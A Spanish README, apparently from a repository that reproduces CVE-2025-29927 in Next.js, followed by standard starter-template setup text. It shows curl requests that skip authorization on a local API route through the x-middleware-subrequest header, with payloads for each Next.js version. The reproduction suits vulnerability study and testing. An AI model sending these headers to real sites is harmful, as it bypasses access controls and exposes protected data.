
no usar. vulnerable
Este repositorio es una reproducción de la vulnerabilidad CVE-2025-29927 en el paquete next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 veces en la cabecera especial x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Las versiones 12 y 13 de Next.js solían tener una convención de nomenclatura diferente para el archivo de middleware (_middleware.js), que se cambió a middleware.js en Next.js 14. Esta vulnerabilidad puede explotarse en versiones antiguas utilizando el archivo _middleware.js.
Por ejemplo, los siguientes payloads se aplicarían según la versión de Next.js y su convención de enrutamiento:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para versiones 12.2 de Next.js con el archivo middleware.js en la raíz de la aplicación, no dentro del directorio pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para versiones de Next.js 11 hasta 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPrimero, ejecute el servidor de desarrollo:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Abra http://localhost:3000 con su navegador para ver el resultado.
Puede comenzar a editar la página modificando app/page.js. La página se actualiza automáticamente mientras edita el archivo.
Este proyecto utiliza next/font para optimizar y cargar automáticamente Geist, una nueva familia de fuentes para Vercel.
Para obtener más información sobre Next.js, consulte los siguientes recursos:
Puede consultar el repositorio de Next.js en GitHub; ¡sus comentarios y contribuciones son bienvenidos!
La forma más sencilla de desplegar su aplicación Next.js es utilizar la Plataforma Vercel de los creadores de Next.js.
Consulte nuestra documentación de despliegue de Next.js para obtener más detalles.